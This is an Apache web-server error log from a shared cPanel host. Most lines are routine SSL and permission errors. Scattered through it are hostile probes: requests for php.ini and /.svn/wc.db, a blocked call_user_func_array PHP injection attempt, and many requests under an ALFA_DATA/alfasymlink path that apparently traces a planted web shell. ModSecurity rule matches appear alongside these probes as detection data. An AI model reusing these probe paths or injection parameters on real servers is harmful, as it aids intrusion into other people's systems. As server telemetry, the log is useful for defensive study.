[Tue Oct 27 12:29:43.500928 2026] [authz_core:error] [pid 3265798:tid 3265798] [client 216.73.217.51:62618] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 12:29:50.243304 2026] [ssl:error] [pid 3265876:tid 3265876] (70014)End of file found: [client 52.23.112.144:10288] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:29:54.530221 2026] [authz_core:error] [pid 3265877:tid 3265877] [client 216.73.217.51:13964] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 12:29:54.925946 2026] [authz_core:error] [pid 3265877:tid 3265877] [client 216.73.217.51:13964] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 12:29:54.990355 2026] [authz_core:error] [pid 3265877:tid 3265877] [client 216.73.217.51:13964] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 12:29:55.078353 2026] [authz_core:error] [pid 3265877:tid 3265877] [client 216.73.217.51:13964] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 12:29:58.371837 2026] [ssl:error] [pid 3265894:tid 3265894] (70014)End of file found: [client 98.82.59.253:42061] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:29:59.396442 2026] [authz_core:error] [pid 3265902:tid 3265902] [client 216.73.217.51:20679] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 12:29:59.405353 2026] [authz_core:error] [pid 3265906:tid 3265906] [client 216.73.217.51:2178] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 12:29:59.408362 2026] [authz_core:error] [pid 3265907:tid 3265907] [client 216.73.217.51:18326] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 12:29:59.408373 2026] [authz_core:error] [pid 3265903:tid 3265903] [client 216.73.217.51:13595] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 12:29:59.411399 2026] [authz_core:error] [pid 3265904:tid 3265904] [client 216.73.217.51:20548] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 12:29:59.416826 2026] [authz_core:error] [pid 3265908:tid 3265908] [client 216.73.217.51:36934] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 12:29:59.418368 2026] [authz_core:error] [pid 3265905:tid 3265905] [client 216.73.217.51:35747] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 12:29:59.426301 2026] [authz_core:error] [pid 3265902:tid 3265902] [client 216.73.217.51:20679] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 12:29:59.426670 2026] [security2:error] [pid 3265902:tid 3265902] [client 216.73.217.51:20679] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/arg1/"] [unique_id "auDRh-gxhJKpBqDDXP9MNgAAACU"]
[Tue Oct 27 12:29:59.426699 2026] [security2:error] [pid 3265902:tid 3265902] [client 216.73.217.51:20679] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/arg1/"] [unique_id "auDRh-gxhJKpBqDDXP9MNgAAACU"]
[Tue Oct 27 12:29:59.432952 2026] [authz_core:error] [pid 3265906:tid 3265906] [client 216.73.217.51:2178] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 12:30:06.231416 2026] [ssl:error] [pid 3265917:tid 3265917] (70014)End of file found: [client 52.200.58.199:46729] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:30:10.232218 2026] [ssl:error] [pid 3265923:tid 3265923] (70014)End of file found: [client 3.217.82.254:43004] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:30:42.288620 2026] [ssl:error] [pid 3265877:tid 3265877] (70014)End of file found: [client 107.20.181.148:43527] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:30:52.686552 2026] [security2:error] [pid 3265882:tid 3265882] [client 216.73.217.51:25851] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/informacion/dr-rosalio-valderrama-tellez/ginecologos/distrito-federal/venustiano-carranza/moctezuma-1a-seccion/413197404"] [unique_id "auDRvJePFllL96zARGw_6wAAABo"]
[Tue Oct 27 12:30:52.686607 2026] [security2:error] [pid 3265882:tid 3265882] [client 216.73.217.51:25851] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/informacion/dr-rosalio-valderrama-tellez/ginecologos/distrito-federal/venustiano-carranza/moctezuma-1a-seccion/413197404"] [unique_id "auDRvJePFllL96zARGw_6wAAABo"]
[Tue Oct 27 12:30:54.312596 2026] [ssl:error] [pid 3265921:tid 3265921] (70014)End of file found: [client 3.219.81.66:32615] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:30:58.421471 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 107.20.224.184:40969] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:30:58.834793 2026] [security2:error] [pid 3265328:tid 3265328] [client 92.118.39.93:34282] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auDRwi3yzvuU9nU7TRtTeQAAAC8"]
[Tue Oct 27 12:30:58.834975 2026] [security2:error] [pid 3265328:tid 3265328] [client 92.118.39.93:34282] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auDRwi3yzvuU9nU7TRtTeQAAAC8"]
[Tue Oct 27 12:30:58.835207 2026] [security2:error] [pid 3265328:tid 3265328] [client 92.118.39.93:34282] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auDRwi3yzvuU9nU7TRtTeQAAAC8"]
[Tue Oct 27 12:30:58.835532 2026] [security2:error] [pid 3265328:tid 3265328] [client 92.118.39.93:34282] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auDRwi3yzvuU9nU7TRtTeQAAAC8"]
[Tue Oct 27 12:31:02.734152 2026] [ssl:error] [pid 3261792:tid 3261792] (5)Input/output error: [client 44.209.89.189:47135] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:31:03.175399 2026] [core:error] [pid 3265882:tid 3265882] (13)Permission denied: [client 85.208.96.195:41120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/627/net/rpc/auth.unix.ip/content
[Tue Oct 27 12:31:06.328993 2026] [ssl:error] [pid 3265840:tid 3265840] (70014)End of file found: [client 34.231.118.144:2116] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:31:10.264654 2026] [ssl:error] [pid 3265848:tid 3265848] (70014)End of file found: [client 44.214.19.8:62723] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:31:10.498663 2026] [core:crit] [pid 3261709:tid 3261709] (13)Permission denied: [client 31.184.195.244:60023] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 12:31:23.927897 2026] [core:crit] [pid 3265840:tid 3265840] (13)Permission denied: [client 176.32.193.16:47584] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 12:31:24.096357 2026] [security2:error] [pid 3265848:tid 3265848] [client 216.73.217.51:14382] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/resultados/Medicos-Endoscopistas/estado-de-mexico/4"] [unique_id "auDR3HY6vyPKS8DbHnPNPQAAAB8"]
[Tue Oct 27 12:31:24.096408 2026] [security2:error] [pid 3265848:tid 3265848] [client 216.73.217.51:14382] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/resultados/Medicos-Endoscopistas/estado-de-mexico/4"] [unique_id "auDR3HY6vyPKS8DbHnPNPQAAAB8"]
[Tue Oct 27 12:31:24.237071 2026] [core:crit] [pid 3265799:tid 3265799] (13)Permission denied: [client 45.91.64.10:36336] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 12:31:24.837368 2026] [core:crit] [pid 3265840:tid 3265840] (13)Permission denied: [client 45.91.64.10:36360] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 12:31:31.875859 2026] [core:error] [pid 3260247:tid 3260247] (13)Permission denied: [client 85.208.96.199:44900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/aliases
[Tue Oct 27 12:31:34.204888 2026] [ssl:error] [pid 3266150:tid 3266150] (70014)End of file found: [client 18.207.79.144:29877] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:31:39.115585 2026] [core:error] [pid 3265882:tid 3265882] (13)Permission denied: [client 185.191.171.18:57494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/pci/devices/0000:00:01.1/rescan
[Tue Oct 27 12:31:41.588393 2026] [core:crit] [pid 3265290:tid 3265290] (13)Permission denied: [client 176.32.193.16:35832] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 12:31:42.206678 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 3.223.134.5:62726] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:31:42.397768 2026] [core:crit] [pid 3266150:tid 3266150] (13)Permission denied: [client 176.32.193.16:35850] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 12:31:46.255084 2026] [ssl:error] [pid 3261792:tid 3261792] (5)Input/output error: [client 52.205.113.104:61772] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:31:50.206178 2026] [ssl:error] [pid 3265848:tid 3265848] (70014)End of file found: [client 52.205.222.214:61461] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:32:06.203995 2026] [ssl:error] [pid 3265870:tid 3265870] (5)Input/output error: [client 3.222.85.38:34430] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:32:14.216611 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 44.206.93.215:49180] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:32:22.246187 2026] [ssl:error] [pid 3265868:tid 3265868] (70014)End of file found: [client 54.225.199.17:19882] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:32:26.253213 2026] [core:error] [pid 3260247:tid 3260247] (13)Permission denied: [client 3.216.86.144:9411] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:1d/subsystem/uevent
[Tue Oct 27 12:32:30.356296 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 52.45.194.165:57983] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:32:30.356491 2026] [security2:error] [pid 3265870:tid 3265870] [client 52.45.194.165:57983] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/0000:00:03.0/broken_parity_status"] [unique_id "auDSHhPIAz20_HBUJWdXkgAAAAw"]
[Tue Oct 27 12:32:30.356524 2026] [security2:error] [pid 3265870:tid 3265870] [client 52.45.194.165:57983] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/0000:00:03.0/broken_parity_status"] [unique_id "auDSHhPIAz20_HBUJWdXkgAAAAw"]
[Tue Oct 27 12:32:33.042250 2026] [core:error] [pid 3265877:tid 3265877] (13)Permission denied: [client 185.191.171.13:62138] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-32/object_size
[Tue Oct 27 12:32:46.258641 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 34.236.41.241:57521] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:33:08.926817 2026] [security2:error] [pid 3265868:tid 3265868] [client 43.167.232.38:48326] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auDSREAlewgskFKETgJw4AAAAAQ"]
[Tue Oct 27 12:33:08.928202 2026] [authz_core:error] [pid 3265868:tid 3265868] [client 43.167.232.38:48326] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:33:10.234861 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 23.23.103.31:35844] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:33:14.223924 2026] [ssl:error] [pid 3265799:tid 3265799] (70014)End of file found: [client 18.213.240.226:12138] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:33:22.207841 2026] [core:error] [pid 3265870:tid 3265870] (13)Permission denied: [client 100.24.167.60:59560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory1/node0/memory13/subsystem/drivers_probe
[Tue Oct 27 12:33:26.205946 2026] [core:error] [pid 3261709:tid 3261709] (13)Permission denied: [client 52.71.218.25:62520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/hpet/uevent
[Tue Oct 27 12:33:30.316170 2026] [ssl:error] [pid 3262600:tid 3262600] (70014)End of file found: [client 3.222.85.38:33381] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:33:31.675354 2026] [core:error] [pid 3265870:tid 3265870] (13)Permission denied: [client 85.208.96.212:32808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_nat/holders/nf_nat_ftp/uevent
[Tue Oct 27 12:33:34.251936 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 52.204.174.139:1782] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:33:42.231187 2026] [ssl:error] [pid 3265799:tid 3265799] (70014)End of file found: [client 3.221.156.96:12326] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:33:54.426188 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 100.29.164.178:38924] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:34:01.594790 2026] [core:error] [pid 3265882:tid 3265882] (13)Permission denied: [client 185.191.171.10:60916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/perf_event/trace
[Tue Oct 27 12:34:05.309581 2026] [security2:error] [pid 3261792:tid 3261792] [client 152.236.14.113:58962] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "145"] [id "933150"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auDSfRlGMQ3MCYA8x58bhgAAAAI"]
[Tue Oct 27 12:34:05.310682 2026] [security2:error] [pid 3261792:tid 3261792] [client 152.236.14.113:58962] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auDSfRlGMQ3MCYA8x58bhgAAAAI"]
[Tue Oct 27 12:34:05.311126 2026] [security2:error] [pid 3261792:tid 3261792] [client 152.236.14.113:58962] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: High-Risk PHP Function Name Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auDSfRlGMQ3MCYA8x58bhgAAAAI"]
[Tue Oct 27 12:34:06.328073 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 54.235.158.162:11346] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:34:18.402644 2026] [core:error] [pid 3265870:tid 3265870] (13)Permission denied: [client 44.221.227.90:21798] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/virtio0/subsystem/drivers_probe
[Tue Oct 27 12:34:26.337914 2026] [ssl:error] [pid 3265848:tid 3265848] (70014)End of file found: [client 100.28.57.133:15312] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:34:30.221198 2026] [ssl:error] [pid 3265868:tid 3265868] (70014)End of file found: [client 52.3.127.170:39195] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:34:34.364190 2026] [core:error] [pid 3265848:tid 3265848] (13)Permission denied: [client 3.227.180.70:5382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:04.0/subsystem/uevent
[Tue Oct 27 12:34:45.290854 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 185.191.171.1:35802] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:35:02.259738 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 50.16.216.166:58572] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:35:04.387505 2026] [security2:error] [pid 3265870:tid 3265870] [client 92.118.39.93:40352] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auDSuBPIAz20_HBUJWdXngAAAAw"]
[Tue Oct 27 12:35:04.387690 2026] [security2:error] [pid 3265870:tid 3265870] [client 92.118.39.93:40352] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auDSuBPIAz20_HBUJWdXngAAAAw"]
[Tue Oct 27 12:35:04.387943 2026] [security2:error] [pid 3265870:tid 3265870] [client 92.118.39.93:40352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auDSuBPIAz20_HBUJWdXngAAAAw"]
[Tue Oct 27 12:35:04.388234 2026] [security2:error] [pid 3265870:tid 3265870] [client 92.118.39.93:40352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auDSuBPIAz20_HBUJWdXngAAAAw"]
[Tue Oct 27 12:35:09.377855 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 85.208.96.210:35308] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:35:10.294412 2026] [ssl:error] [pid 3265848:tid 3265848] (70014)End of file found: [client 44.205.120.22:34777] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:35:26.312324 2026] [ssl:error] [pid 3265801:tid 3265801] (70014)End of file found: [client 98.84.60.17:31571] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:35:33.700659 2026] [security2:error] [pid 3258910:tid 3258910] [client 107.172.76.131:61001] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDSyhjRnDqVsOt0-EVH4wAAACg"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 12:35:33.700724 2026] [security2:error] [pid 3258910:tid 3258910] [client 107.172.76.131:61001] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDSyhjRnDqVsOt0-EVH4wAAACg"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 12:35:54.220019 2026] [ssl:error] [pid 3262600:tid 3262600] (70014)End of file found: [client 54.90.8.255:18404] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:35:58.249750 2026] [ssl:error] [pid 3265868:tid 3265868] (70014)End of file found: [client 52.3.102.51:5606] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:36:10.281356 2026] [ssl:error] [pid 3265868:tid 3265868] (70014)End of file found: [client 44.221.105.234:39000] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:36:22.428787 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 52.71.203.206:59249] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:36:26.520869 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 34.231.118.144:58565] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:36:29.591143 2026] [security2:error] [pid 3265871:tid 3265871] [client 107.172.76.131:60999] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDTAd8QsyVDX8XbxGUrVgAAAA4"], referer: https://bases1.sherwinpinturas.com/beta.php
